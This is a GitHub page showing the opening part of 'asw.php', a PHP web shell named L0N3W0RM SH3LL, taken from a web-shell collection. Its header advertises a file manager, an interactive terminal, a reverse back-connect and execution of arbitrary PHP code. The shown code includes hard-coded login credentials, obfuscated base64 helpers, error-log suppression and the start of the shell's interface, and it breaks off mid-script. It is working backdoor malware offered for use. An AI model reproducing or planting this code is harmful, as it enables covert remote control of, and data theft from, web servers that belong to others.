forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
asw.php
3984 lines (3741 loc) · 129 KB
/
asw.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?php
/*
* L0N3W0RM SH3LL is a Recoded PHP WEBSHELL By L0N3W0RM
* username :aku
* password :dia
*
* Thanks To k4mpr3t
* Features:
* [0] File Manager
* [1] Sec. Info
* [2] Simply Database
* [3] Interactive terminal
* [4] PHP Reverse Back Connect
* [5] Run PHP Code
* [6] Custom Toolz
* [7] Self Script Encryptor !
* [8] Error Handler
* [9] And Many More !!!
*/
$x_="BDg8:4bba27efbba4424001a83a6135f7c16fb411e4a4";
/*
* Self Script Encryptor v1.0
* ------- by k4mpr3t -------
*
* [Usage] http://website.com/shell.php?x=self-encryptor&name=shell_encrypt.php
*
*/
$config=array(
"title" => "L0N3W0RM SH3LL", // Your Title
"subtitle" => "V3RS10N 1.0 ~ L0N3W0RM", // Your Subtitle
"themes" => "d4rk", // Your Themes (D4RK or BR34K)
"debug" => false // Debug Mode
);
$account=explode(':',$x_);
session_start(); // Session Start
function any($x,$y)
{
return array_key_exists($x,$y);
}
function urle($x)
{
return B64E(urlencode($x));
}
function urld($x)
{
return urldecode(B64D(urldecode($x)));
}
define('_',DIRECTORY_SEPARATOR);
foreach($_SERVER as $k => $v)
{
define(strtolower($k),$_SERVER[$k]);
}
function B64E($x)
{
$d="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
$c="ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/";
$_a="b";$_b="a";$_c="s";$_d="e";$_e="6";$_f="4";
$_g="_";$_h="e";$_i="n";$_j="c";$_k="o";$_l="d";$_m="e";
$b64=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_h.$_i.$_j.$_k.$_l.$_m;
return strtr($b64($x),$d,$c);
}
function B64D($x)
{
$d="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
$c="ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/";
$_a="b";$_b="a";$_c="s";$_d="e";$_e="6";$_f="4";
$_g="_";$_h="d";$_i="e";$_j="c";$_k="o";$_l="d";$_m="e";
$b64=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_h.$_i.$_j.$_k.$_l.$_m;
return $b64(strtr($x,$d,$c));
}
function error ($errno, $errstr, $errfile, $errline)
{
switch ($errno)
{
case E_PARSE:
case E_STRICT:$errmsg='# DEBUG';break;
case E_NOTICE:
case E_USER_NOTICE:$errmsg='# NOTICE';break;
case E_USER_ERROR:
case E_RECOVERABLE_ERROR:$errmsg='# ERROR';break;
case E_WARNING:
case E_CORE_WARNING:
case E_COMPILE_WARNING:
case E_USER_WARNING:$errmsg='# WARNING';break;
case E_ERROR:
case E_CORE_ERROR:
case E_COMPILE_ERROR:$errmsg='# FATAL ERROR';break;
default:$errmsg='# UNKNOWN ERROR';break;
}
echo '<div class="error">';
echo $errmsg;
echo "<br>";
echo $errstr;
echo "<br>";
echo $errfile . ' (Line: ' . $errline . ')';
echo "<br>";
echo "<br>";
echo "</div>";
}
// Login Request
if(request_method=="POST")
{
if(any("username",$_REQUEST)&&any("password",$_REQUEST)&&any("signin",$_REQUEST))
{
if((B64E($_REQUEST['username'])==$account[0])&&(sha1(md5($_REQUEST['password']))==$account[1]))
{
session_regenerate_id();
$_SESSION['action']=array(
"username" => B64E($_REQUEST['username']),
"password" => sha1(md5($_REQUEST['password']))
);
}
else
{
// THIS IS FUCKING LOCAL DAMN LOG N00B! (https://github.com/k4mpr3t/b4tm4n/issues/5)
$log=array(
"Username: ".$_REQUEST['username'],
"Password: ".$_REQUEST['password'],
"Remote IP: ".remote_addr,
"Time: ".date('Y-m-d H:i:s'),
"-------------------------\r\n",
);
$file=dirname(__FILE__)._.'.log';
$write_log=implode($log,"\r\n");
$op=fopen($file,'a+');
fwrite($op,$write_log);
fclose($op);
}
}
}
if (!any("action", $_SESSION)) {
?><!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="robots" content="noindex"/>
<meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no">
<title>Signin</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<style type='text/css'>
html,body{
height:100%;
}
body{
background-image:url(https://w.wallhaven.cc/full/0w/wallhaven-0wemg6.jpg );
display:-ms-flexbox;
display:-webkit-box;
display:flex;
-ms-flex-align:center;
-ms-flex-pack:center;
-webkit-box-align:center;
align-items:center;
-webkit-box-pack:center;
justify-content:center;
padding-top:40px;
padding-bottom:40px;
background-color:#f5f5f5;
}
.form-signin{
width:100%;
max-width:330px;
padding:15px;
margin:0 auto;
}
.form-signin.checkbox{
font-weight:400;
}
.form-signin.form-control{
position:relative;
box-sizing:border-box;
height:auto;
padding:10px;
font-size:16px;
}
.form-signin.form-control:focus{
z-index:2;
}
.form-signin input[type="email"]{
margin-bottom:-1px;
border-bottom-right-radius:0;
border-bottom-left-radius:0;
}
.form-signin input[type="password"]{
margin-bottom:10px;
border-top-left-radius:0;
border-top-right-radius:0;
}
</style>
</head>
<body class="text-center">
<form class="form-signin" method='post'>
<h1 class="h3 mb-3 font-weight-normal">Please sign in</h1>
<label for="username" class="sr-only">Email address</label>
<input type="text" name="username" id="username" class="form-control" placeholder="Username" autocomplete="off" required autofocus>
<label for="password" class="sr-only">Password</label>
<input type="password" name="password" id="password" class="form-control" placeholder="Password" autocomplete="off" required>
<button class="btn btn-lg btn-primary btn-block" type="submit" name="signin" value="signin">Sign In</button>
<p class="mt-5 mb-3 text-muted">©<?=date('Y')?></p>
</form>
</body>
</html><?php
}
else
{
ob_start(); // Prevent Double Html $_REQUEST
if(!strpos(strval(ini_get('disable_functions')),'set_time_limit'))
{
set_time_limit(0);
}
// Debug Settings
if($config['debug']==true)
{
set_error_handler('error'); // Error Handler
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
}
else
{
error_reporting(0);
ini_set('error_log',null);
ini_set('html_errors',0);
ini_set('log_errors',0);
ini_set('log_errors_max_len',0);
ini_set('display_errors',0);
ini_set('display_startup_errors',0);
}
ini_set('max_execution_time','600');
ini_set('memory_limit','256M');
$agent=B64D("FT06ACQoAXYrvHYXMUIMMV5e"); // Powered by B4TM4N
$title=$config['title']; // Title Page
$start=microtime(true); // Time Pageload
?><!DOCTYPE html>
<html>
<head>
<title>
<?=$title?>
</title>
<meta name='author' content='k4mpr3t'/>
<link href="data:image/png;base64,AAABAAEAEBACAAAAAACwAAAAFgAAACgAAAAQAAAAIAAAAAEAAQAAAAAAQAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAA//8AAP//AAD//wAA//8AAP7/AAD8fwAAwAcAAMAHAACMYwAADWEAAP//AAD//wAA//8AAP//AAD//wAA" rel="icon" type="image/x-icon" />
<style type="text/css">
<?php if(strtolower($config['themes']) == 'd4rk'): ?>
:root {
--background-color:#000;
--color:#00ff00;
--txt-color: #fff;
--txt-hover-color: #fff;
--border-color: #222;
--border-hover-color: #333;
--table-odd-color : #000;
--table-even-color : #111;
--table-hover-color : #222;
--button-color : #111;
--button-hover-color : #222;
}
<?php endif; ?>
<?php if(strtolower($config['themes']) == 'br34k'): ?>
:root {
--background-color:#fff;
--color:#000;
--txt-color: #000;
--txt-hover-color: #666;
--border-color: #111;
--border-hover-color: #222;
--table-odd-color : #eee;
--table-even-color : #ddd;
--table-hover-color : #ccc;
--button-color : #ccc;
--button-hover-color : #bbb;
}
<?php endif; ?>
@keyframes blinker{70%{opacity:0}}
*,html{margin:0;padding:0;line-height:1rem}
body{background:var(--background-color);color:var(--color);font-family:monospace;font-size:13px}
::-moz-selection{background:var(--color);color:var(--background-color)}
::selection{background:var(--color);color:var(--background-color)}
img{vertical-align:bottom}
hr{border:1px solid var(--border-color);margin:3px 0px 0px}
a{color:var(--color);text-decoration:none}
a:hover{color:var(--txt-hover-color)}
a.active{color:var(--txt-color)}
a.action{font-size:12px;padding:5px;margin:0px;background:var(--button-color);color:var(--txt-color);border:1px solid #222;cursor:pointer;outline:none;display:inline-block}
a.action:hover{background:var(--button-hover-color);border:1px solid var(--border-hover-color)}
label{display:inline-block;min-width:75px;padding-right:15px}
iframe{background:var(--txt-hover-color)}
fieldset {border:1px solid var(--border-color);background:var(--background-color);color:var(--color);width:100%;padding:15px;box-sizing:border-box;min-height:154px}
textarea {border:1px solid var(--border-color);background:var(--background-color);color:var(--color);width:100%;padding:15px;min-height:300px;outline:none;box-sizing:border-box;resize:none}
input[type=submit]{background:var(--button-color);border:1px solid var(--border-color);color:var(--txt-color);line-height:25px;padding:0 10px;cursor:pointer;outline:none}
input[type=submit]:hover{background:var(--button-hover-color);border:1px solid var(--border-hover-color)}
input[type=text]{background:var(--background-color);line-height: 15px;color:var(--color);border:1px solid var(--border-color);width:200px;padding:5px;outline:none;box-sizing:border-box}
input[type=number]{background:var(--background-color);line-height: 15px;color:var(--color);border:1px solid var(--border-color);width:200px;padding:5px;outline:none;box-sizing:border-box}
input[type=file]{background:var(--background-color);line-height: 15px;color:var(--color);border:1px solid var(--border-color);width:200px;padding:2px;outline:none;box-sizing:border-box}
select{background:var(--background-color);color:var(--color);border:1px solid var(--border-color);width:200px;padding:5px;outline:none;box-sizing:border-box}
#wrapper{width:93%;margin:37px auto 40px}
#info{margin:0 0 23px 0;padding:0 13px 0 0}
#header{display:inline-block;width:100%}
.header-left{float:left;width:66%}
.header-right{float:right;width:34%}
#connect{display:inline-block;width:100%}
.connect-left{float:left;width:49%}
.connect-right{float:right;width:49%}
#database-session{display:inline-block;width:100%}
.database-query{float:left;width:49%}
.database-process{float:right;width:49%}
#php{display:inline-block}
.php-left{float:left;width:49%}
.php-right{float:right;width:49%}
.divide{width:100%;display:inline-block}
.divide-left{float:left;width:50%}
.divide-right{float:right;width:50%}
.mail input[type=text]{width:100%;display:block}
.database-breadcrumb{margin:10px 0 0;display:inline-block;font-style: italic;}
#update{text-align:center}
#php-configuration{text-align:center}
.error{animation:blinker 1s linear infinite;background:var(--color);color:var(--background-color);padding:10px;margin:10px;}
#logo{margin:0 0 23px 0;padding:23px 0 23px 0;border-top:1px solid var(--border-color);border-bottom:1px solid var(--border-color)}
.content{border:1px solid var(--border-color);padding:10px;overflow:auto;overflow-y:hidden}
#process-list{padding:25px;margin:25px auto 0px;border:1px solid var(--border-color);overflow:scroll;overflow-y:hidden}
#process-list s{text-decoration:none}
.tools-header{margin-bottom:20px;padding-bottom:25px;text-align:center;border-bottom:1px solid var(--border-color)}
.menu{overflow:hidden;border-top:1px solid var(--border-color);border-bottom:1px solid var(--border-color);margin:10px 0}
.menu > ul{list-style:none;margin:0;padding:0}
.menu > ul > li{margin:0 3px 0 0;padding:10px 7px 10px 7px;display:block;float:left}
.menu > ul > li:hover{cursor:pointer}
.menu-tools{overflow:hidden;border-top:1px solid var(--border-color);border-bottom:1px solid var(--border-color);margin:10px 0}
.menu-tools > ul{list-style:none;margin:0;padding:0}
.menu-tools > ul > li{margin:0 3px 0 0;padding:10px 7px 10px 7px;display:block;float:left}
.menu-tools > ul > li:hover{cursor:pointer}
.menu-directory{;margin-bottom:10px}
.new{margin-right:15px;}
.hash label{min-width:40px;display:inline-block;padding-right:15px}
.hash-capture label{margin:10px 0;display:inline-block}
.hash input[type=radio]{margin-right:10px;display:inline-block;vertical-align:middle}
.auto-number table{counter-reset:row_}
.auto-number table tbody tr td:first-child{counter-increment:row_;vertical-align:middle;text-align:center}
.auto-number table tbody tr td:first-child::before{content:counter(row_)}
#title{text-align:center;font-size:44px;margin:0;color:var(--txt-color);margin-bottom:15px}
#subtitle{text-align:center;font-size:22px;margin:0;color:var(--txt-color);margin-top:8px}
#tools{min-height:125px;padding:10px;border-radius:5px}
#account{min-height:100px;padding:10px;border-radius:5px}
#thanks{text-align:center;font-size:16px;font-family:courier;padding:5% 0}
#footer{margin:25px auto}
#copyrights{text-align:center}
#pageload{text-align:center}
#query{margin-top:10px}
#database-query{overflow:auto;margin:10px 0}
#hexdump{height:300px;overflow:auto;overflow-x:hidden}
#terminal{min-height:100px;padding:10px;border-radius:5px}
#terminal-input{border:none}
#curdir-terminal{min-width:10px}
#database{min-height:100px;padding:10px;border-radius:5px}
#database label{width:100px;padding:5px;margin-right:10px;display:inline-block}
#port-scan label{width:100px;padding:5px;margin-right:10px;display:inline-block}
#phpinfo table{margin:25px 0}
#phpinfo tr:nth-child(odd){background:var(--background-color)}
#phpinfo tr:nth-child(even){background:var(--border-color)}
#phpinfo td,th{padding:5px;border:1px solid var(--border-color)}
#phpinfo h1{margin:10px 0}
#phpinfo h2{margin:10px 0}
#phpinfo.e{width:200px}
#phpinfo.v{word-break:break-word}
#phpinfo img{display:none}
#phpinfo hr{border:none}
.line h2{position:relative;top:12px;width:100px;display:inline;background:var(--background-color);padding:0 10px;color:var(--txt-color)}
.line{border-bottom:2px solid var(--color);text-align:center;width:287px;margin:auto}
.table {width:100%;margin:10px 0}
.table td,th{padding:5px;border:1px solid var(--border-color);max-width:250px;min-width:25px}
.table td.kanan{word-break:break-word}
.table td.kiri{width:30%}
.table tr:nth-child(odd){background:var(--table-odd-color)}
.table tr:nth-child(even){background:var(--table-even-color)}
.table tr:hover td{background:var(--table-hover-color)}
.table tfoot td{padding:10px;text-align:center}
.database-table > td.table {word-break:normal;}
.map-switch{display:inline-block}
.form-fix{margin:-15px 0}
.frmsource{margin-top:10px}
.hexdump{width:100%;padding:5px;margin-bottom:5px}
.hexdump td{text-align:left}
.highlight{background:var(--background-color);word-break:break-word;padding:15px;margin-bottom:5px;height:300px;overflow:auto}
.hash-capture{display:inline-block;width:100%}
.hash-capture-left{float:left;width:49%}
.hash-capture-right{float:right;width:49%}
.clr{clear:both}
.on{color:var(--txt-color)}
.off{color:red}
.result{padding:10px}
.sortable thead{cursor:pointer}
.disablefunc{overflow-wrap:break-word}
.loading{vertical-align:middle;width:16px;height:16px;display:inline-block;background:url('data:image/gif;base64,R0lGODlhEAAQAPIAAAAAAP///zw8PLy8vP///5ycnHx8fGxsbCH+GkNyZWF0ZWQgd2l0aCBhamF4bG9hZC5pbmZvACH5BAAKAAAAIf8LTkVUU0NBUEUyLjADAQAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQACgABACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkEAAoAAgAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkEAAoAAwAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkEAAoABAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQACgAFACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQACgAGACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAAKAAcALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA==')}
</style>
<script type="text/javascript">
function dean_addEvent(t,e,r){if(t.addEventListener)t.addEventListener(e,r,!1);else{r.$$guid||(r.$$guid=dean_addEvent.guid++),t.events||(t.events={});var o=t.events[e];o||(o=t.events[e]={},t["on"+e]&&(o[0]=t["on"+e])),o[r.$$guid]=r,t["on"+e]=handleEvent}}function removeEvent(t,e,r){t.removeEventListener?t.removeEventListener(e,r,!1):t.events&&t.events[e]&&delete t.events[e][r.$$guid]}function handleEvent(t){var e=!0;t=t||fixEvent(((this.ownerDocument||this.document||this).parentWindow||window).event);var r=this.events[t.type];for(var o in r)this.$$handleEvent=r[o],!1===this.$$handleEvent(t)&&(e=!1);return e}function fixEvent(t){return t.preventDefault=fixEvent.preventDefault,t.stopPropagation=fixEvent.stopPropagation,t}var stIsIE=!1;if(sorttable={init:function(){arguments.callee.done||(arguments.callee.done=!0,_timer&&clearInterval(_timer),document.createElement&&document.getElementsByTagName&&(sorttable.DATE_RE=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,forEach(document.getElementsByTagName("table"),function(t){-1!=t.className.search(/\bsortable\b/)&&sorttable.makeSortable(t)})))},makeSortable:function(t){if(0==t.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(t.rows[0]),t.insertBefore(the,t.firstChild)),null==t.tHead&&(t.tHead=t.getElementsByTagName("thead")[0]),1==t.tHead.rows.length){sortbottomrows=[];for(e=0;e<t.rows.length;e++)-1!=t.rows[e].className.search(/\bsortbottom\b/)&&(sortbottomrows[sortbottomrows.length]=t.rows[e]);if(sortbottomrows){null==t.tFoot&&(tfo=document.createElement("tfoot"),t.appendChild(tfo));for(e=0;e<sortbottomrows.length;e++)tfo.appendChild(sortbottomrows[e]);delete sortbottomrows}headrow=t.tHead.rows[0].cells;for(var e=0;e<headrow.length;e++)headrow[e].className.match(/\bsorttable_nosort\b/)||(mtch=headrow[e].className.match(/\bsorttable_([a-z0-9]+)\b/),mtch&&(override=mtch[1]),mtch&&"function"==typeof sorttable["sort_"+override]?headrow[e].sorttable_sortfunction=sorttable["sort_"+override]:headrow[e].sorttable_sortfunction=sorttable.guessType(t,e),headrow[e].sorttable_columnindex=e,headrow[e].sorttable_tbody=t.tBodies[0],dean_addEvent(headrow[e],"click",sorttable.innerSortFunction=function(t){if(-1!=this.className.search(/\bsorttable_sorted\b/))return sorttable.reverse(this.sorttable_tbody),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",sortrevind.innerHTML=stIsIE?' <font face="webdings">5</font>':" ▴",void this.appendChild(sortrevind);if(-1!=this.className.search(/\bsorttable_sorted_reverse\b/))return sorttable.reverse(this.sorttable_tbody),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML=stIsIE?' <font face="webdings">6</font>':" ▾",void this.appendChild(sortfwdind);theadrow=this.parentNode,forEach(theadrow.childNodes,function(t){1==t.nodeType&&(t.className=t.className.replace("sorttable_sorted_reverse",""),t.className=t.className.replace("sorttable_sorted",""))}),sortfwdind=document.getElementById("sorttable_sortfwdind"),sortfwdind&&sortfwdind.parentNode.removeChild(sortfwdind),sortrevind=document.getElementById("sorttable_sortrevind"),sortrevind&&sortrevind.parentNode.removeChild(sortrevind),this.className+=" sorttable_sorted",sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML=stIsIE?' <font face="webdings">6</font>':" ▾",this.appendChild(sortfwdind),row_array=[],col=this.sorttable_columnindex,rows=this.sorttable_tbody.rows;for(e=0;e<rows.length;e++)row_array[row_array.length]=[sorttable.getInnerText(rows[e].cells[col]),rows[e]];row_array.sort(this.sorttable_sortfunction),tb=this.sorttable_tbody;for(var e=0;e<row_array.length;e++)tb.appendChild(row_array[e][1]);delete row_array}))}},guessType:function(t,e){sortfn=sorttable.sort_alpha;for(var r=0;r<t.tBodies[0].rows.length;r++)if(text=sorttable.getInnerText(t.tBodies[0].rows[r].cells[e]),""!=text){if(text.match(/^-?[£$¤]?[\d,.]+%?$/))return sorttable.sort_numeric;if(possdate=text.match(sorttable.DATE_RE),possdate){if(first=parseInt(possdate[1]),second=parseInt(possdate[2]),first>12)return sorttable.sort_ddmm;if(second>12)return sorttable.sort_mmdd;sortfn=sorttable.sort_ddmm}}return sortfn},getInnerText:function(t){if(!t)return"";if(hasInputs="function"==typeof t.getElementsByTagName&&t.getElementsByTagName("input").length,null!=t.getAttribute("sorttable_customkey"))return t.getAttribute("sorttable_customkey");if(void 0!==t.textContent&&!hasInputs)return t.textContent.replace(/^\s+|\s+$/g,"");if(void 0!==t.innerText&&!hasInputs)return t.innerText.replace(/^\s+|\s+$/g,"");if(void 0!==t.text&&!hasInputs)return t.text.replace(/^\s+|\s+$/g,"");switch(t.nodeType){case 3:if("input"==t.nodeName.toLowerCase())return t.value.replace(/^\s+|\s+$/g,"");case 4:return t.nodeValue.replace(/^\s+|\s+$/g,"");case 1:case 11:for(var e="",r=0;r<t.childNodes.length;r++)e+=sorttable.getInnerText(t.childNodes[r]);return e.replace(/^\s+|\s+$/g,"");default:return""}},reverse:function(t){newrows=[];for(e=0;e<t.rows.length;e++)newrows[newrows.length]=t.rows[e];for(var e=newrows.length-1;e>=0;e--)t.appendChild(newrows[e]);delete newrows},sort_numeric:function(t,e){return aa=parseFloat(t[0].replace(/[^0-9.-]/g,"")),isNaN(aa)&&(aa=0),bb=parseFloat(e[0].replace(/[^0-9.-]/g,"")),isNaN(bb)&&(bb=0),aa-bb},sort_alpha:function(t,e){return t[0]==e[0]?0:t[0]<e[0]?-1:1},sort_ddmm:function(t,e){return mtch=t[0].match(sorttable.DATE_RE),y=mtch[3],m=mtch[2],d=mtch[1],1==m.length&&(m="0"+m),1==d.length&&(d="0"+d),dt1=y+m+d,mtch=e[0].match(sorttable.DATE_RE),y=mtch[3],m=mtch[2],d=mtch[1],1==m.length&&(m="0"+m),1==d.length&&(d="0"+d),dt2=y+m+d,dt1==dt2?0:dt1<dt2?-1:1},sort_mmdd:function(t,e){return mtch=t[0].match(sorttable.DATE_RE),y=mtch[3],d=mtch[2],m=mtch[1],1==m.length&&(m="0"+m),1==d.length&&(d="0"+d),dt1=y+m+d,mtch=e[0].match(sorttable.DATE_RE),y=mtch[3],d=mtch[2],m=mtch[1],1==m.length&&(m="0"+m),1==d.length&&(d="0"+d),dt2=y+m+d,dt1==dt2?0:dt1<dt2?-1:1},shaker_sort:function(t,e){for(var r=0,o=t.length-1,n=!0;n;){n=!1;for(s=r;s<o;++s)if(e(t[s],t[s+1])>0){a=t[s];t[s]=t[s+1],t[s+1]=a,n=!0}if(o--,!n)break;for(var s=o;s>r;--s)if(e(t[s],t[s-1])<0){var a=t[s];t[s]=t[s-1],t[s-1]=a,n=!0}r++}}},document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.init,!1),/WebKit/i.test(navigator.userAgent))var _timer=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.init()},10);window.onload=sorttable.init,dean_addEvent.guid=1,fixEvent.preventDefault=function(){this.returnValue=!1},fixEvent.stopPropagation=function(){this.cancelBubble=!0},Array.forEach||(Array.forEach=function(t,e,r){for(var o=0;o<t.length;o++)e.call(r,t[o],o,t)}),Function.prototype.forEach=function(t,e,r){for(var o in t)void 0===this.prototype[o]&&e.call(r,t[o],o,t)},String.forEach=function(t,e,r){Array.forEach(t.split(""),function(o,n){e.call(r,o,n,t)})};var forEach=function(t,e,r){if(t){var o=Object;if(t instanceof Function)o=Function;else{if(t.forEach instanceof Function)return void t.forEach(e,r);"string"==typeof t?o=String:"number"==typeof t.length&&(o=Array)}o.forEach(t,e,r)}};
</script>
<script type="text/javascript">
var xhr;
window.onload=function(){
getFocus("terminal-input");
getFocus("find-action");
getFocus("sourcefocus");
getFocus("php-code");
};
function getFocus(id){
if(document.getElementById(id)!==null){
document.getElementById(id).focus();}
}
function getAjax(txt,id,method,url){
var xmlhttp;
var urlf="";
var data=new FormData();
var params=url.split("&");
for(i=0;i<params.length;i++){
val=params[i].split("=");
if(val[0]=='text-encode'){
data.append(val[0],val[1]);
}else{if(val[0].indexOf('?')<0)
{urlf+='&'+val[0]+'='+val[1];}}}
if(window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();
}else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}
xmlhttp.onreadystatechange=function(){
sts=["Request Not Initialized",
"Server Connection Established",
"Request Received",
"Processing Request",
"Request Finished"];
if(xmlhttp.readyState==4&&xmlhttp.status==200){
if(txt){document.getElementById(id).innerHTML=xmlhttp.responseText;
}else{document.getElementById(id).value=xmlhttp.responseText;}
}else{
if(txt){document.getElementById(id).innerHTML=
"[Status] "+"Please Wait... <div class='loading'></div><br>"+
"[State] "+sts[xmlhttp.readyState]+"<br>"+
"[Response] "+xmlhttp.response;
}else{document.getElementById(id).value=
"[Status] "+"Please Wait...\n"+
"[State] "+sts[xmlhttp.readyState]+"\n"+
"[Response] "+xmlhttp.response;}}
};
xmlhttp.open(method,window.location.href+urlf,true);
xmlhttp.send(data);
xhr=xmlhttp;
}
function ajaxAbort(txt,id){
if(txt){document.getElementById(id).innerHTML="Canceled";
}else{document.getElementById(id).value="Canceled";}
xhr.abort();
}
function checkAll(){
for(var i=0;i<document.getElementsByName('chk[]').length;i++){
document.getElementsByName('chk[]')[i].checked=document.getElementsByName('check-all')[0].checked;}
}
function checkCount(id){
count=1;
for(var i=0;i<document.getElementsByName('chk[]').length;i++){
